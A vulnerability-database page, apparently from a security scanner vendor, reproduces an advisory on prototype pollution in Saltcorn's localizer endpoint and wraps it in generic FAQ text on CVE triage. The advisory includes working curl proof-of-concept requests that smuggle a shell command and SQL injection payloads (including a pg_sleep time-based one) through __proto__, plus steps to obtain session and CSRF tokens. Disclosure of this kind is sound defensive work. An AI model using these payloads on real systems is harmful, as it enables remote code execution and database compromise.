How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

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352,427

Total vulnerabilities in the database

@saltcorn/server Remote Code Execution (RCE) / SQL injection via prototype pollution by manipulating `lang` and `defstring` parameters when setting localizer strings — @saltcorn / server

Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Summary

The endpoint /site-structure/localizer/save-string/:lang/:defstring accepts two parameter values: lang and defstring. These values are used in an unsafe way to set the keys and value of the cfgStrings object. It allows to add/modify properties of the Object prototype that result in several logic issues, including:

RCE vulnerabilities by polluting the tempRootFolder property
SQL injection vulnerabilities by polluting the schema property when using PostgreSQL database.

Details

file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/routes/infoarch.js#L236-L239

router.post(
  &quot;/localizer/save-string/:lang/:defstring&quot;,
  isAdmin,
  error_catcher(async (req, res) =&gt; {
    const { lang, defstring } = req.params; // source

    const cfgStrings = getState().getConfigCopy(&quot;localizer_strings&quot;);
    if (cfgStrings[lang]) cfgStrings[lang][defstring] = text(req.body.value); // [1] sink
    else cfgStrings[lang] = { [defstring]: text(req.body.value) };
    await getState().setConfig(&quot;localizer_strings&quot;, cfgStrings);
    res.redirect(`/site-structure/localizer/edit/${lang}`);
  })
);

PoC

Setup:

set SALTCORN_NWORKERS=1 before starting the saltcorn server (to easily observe the behavior of the PoC)

SALTCORN_NWORKERS=1 saltcorn serve

make sure to use PostgresSQL backend
login with a user with admin permission

RCE

This PoC demonstrates how to escalate the Prototype Pollution vulnerability to change the behavior of certain command executed.

check that the file that will be created does not exists:

cat /tmp/RCE
cat: /tmp/RCE: No such file or directory

pollute the Object.prototype with a tempRootFolder value set to ;echo+"rce"|tee+/tmp/RCE; by sending the following request *** :

curl -i -X $&#039;POST&#039; \
    -H $&#039;Host: localhost:3000&#039; \
    -H $&#039;Content-Type: application/x-www-form-urlencoded; charset=UTF-8&#039; -H $&#039;Accept: */*&#039; \
    -H $&#039;Origin: http://localhost:3000&#039; \
    -H $&#039;Connection: close&#039; \
    -b $&#039;loggedin=true; connect.sid=VALID_CONNECT_SID_COOKIE&#039; \
    --data-binary $&#039;_csrf=VALID_csrf_Value&amp;value=;echo+&quot;rce&quot;|tee+/tmp/RCE;&#039; \
    $&#039;http://localhost:3000/site-structure/localizer/save-string/__proto__/tempRootFolder&#039;

visit http://localhost:3000/plugins/new

enter the following fields:
- Name: test
- Source: git
- other fields blank
- click Create
you will get an error but the command echo "rce" | tee /tmp/RCE will be executed
to verify:

cat /tmp/RCE
rce

The RCE occurs because after the previous curl request, the tempRootFolder property is set to ;echo+"rce"|tee+/tmp/RCE; that is later used to build the shell commands.

file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/plugins-loader/plugin_installer.js#L45-L58

class PluginInstaller {
  constructor(plugin, opts = {}) { // opts will have the tempRootFolder property set with dangerous values // [2]
    [...]
    this.tempRootFolder =
      opts.tempRootFolder || envPaths(&quot;saltcorn&quot;, { suffix: &quot;tmp&quot; }).temp; // [3]
	 [...]
    this.pckJsonPath = join(this.pluginDir, &quot;package.json&quot;);
    this.tempDir = join(this.tempRootFolder, &quot;temp_install&quot;, ...tokens); // [4]
    [...]
  }
  [...]
}

SQL Injection

This PoC demonstrates how to escalate the Prototype Pollution vulnerability to change the behavior of certain SQL queries (i.e SQLi).

visit http://localhost:3000/table to check the page returns some results (no errors)
pollute the Object.prototype with a schema value set to " (just to create an exception in the query that will be executed to demonstrate the issue) by sending the following request *** :

curl -i -X $&#039;POST&#039; \
    -H $&#039;Host: localhost:3000&#039; \
    -H $&#039;Content-Type: application/x-www-form-urlencoded; charset=UTF-8&#039; -H $&#039;Accept: */*&#039; \
    -H $&#039;Origin: http://localhost:3000&#039; \
    -H $&#039;Connection: close&#039; \
    -b $&#039;loggedin=true; connect.sid=VALID_CONNECT_SID_COOKIE&#039; \
    --data-binary $&#039;_csrf=VALID_csrf_Value&amp;value=\&quot;&#039; \
    $&#039;http://localhost:3000/site-structure/localizer/save-string/__proto__/schema&#039;

visit again http://localhost:3000/table but this time an SQL error will appear:

syntax error at or near &quot;&quot; order by lower(&quot;&quot;

NOTE: Another payload to use as value could be pg_user"+WHERE+1=1+AND+(SELECT+pg_sleep(5))+IS+NOT+NULL+--

The SQL injection occurs because after the previous curl request, the schema property is set to ".

file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/postgres/postgres.js#L101

const select = async (tbl, whereObj, selectopts = {}) =&gt; { // [2] selectopts
  const { where, values } = mkWhere(whereObj);
  const schema = selectopts.schema || getTenantSchema(); // [3] selectopts.schema
  const sql = `SELECT ${
    selectopts.fields ? selectopts.fields.join(&quot;, &quot;) : `*`
  } FROM &quot;${schema}&quot;.&quot;${sqlsanitize(tbl)}&quot; ${where} ${mkSelectOptions( // [4] schema
    selectopts,
    values,
    false
  )}`;
  sql_log(sql, values);
  const tq = await (client || selectopts.client || pool).query(sql, values);

  return tq.rows;
};

*** Retrieve valid values for the connect.sid (VALID_CONNECT_SID_COOKIE) and _csrf values (VALID_csrf_Value) :

open the browser developer console and go to the Network tab
visit http://localhost:3000/site-structure/localizer/add-lang
add a language (Name: test , Locale: test) and click Save
under the Network tab, filter for save-lang and check the request parameters (Headers and Payload/Request tabs)
copy the values for connect.sid and _csrf and paste in the curl command above

Impact

Remote code execution (RCE), Sql injection and business logic errors.

Recommended Mitigation

Check the values of lang and defstring parameters against dangerous properties like __proto__, constructor, prototype.

Published: Oct 3, 2024
Updated: Jun 5, 2026
GHSA: GHSA-78p3-fwcq-62c2
Severity: High
Exploit:
CISA KEV:

CVSS v3:

Severity: High
Score: 7.2
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

CWEs:

CWE-1321

Affected Software
References

Software	From	Fixed in
@saltcorn / server	-	1.0.0-beta.14

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.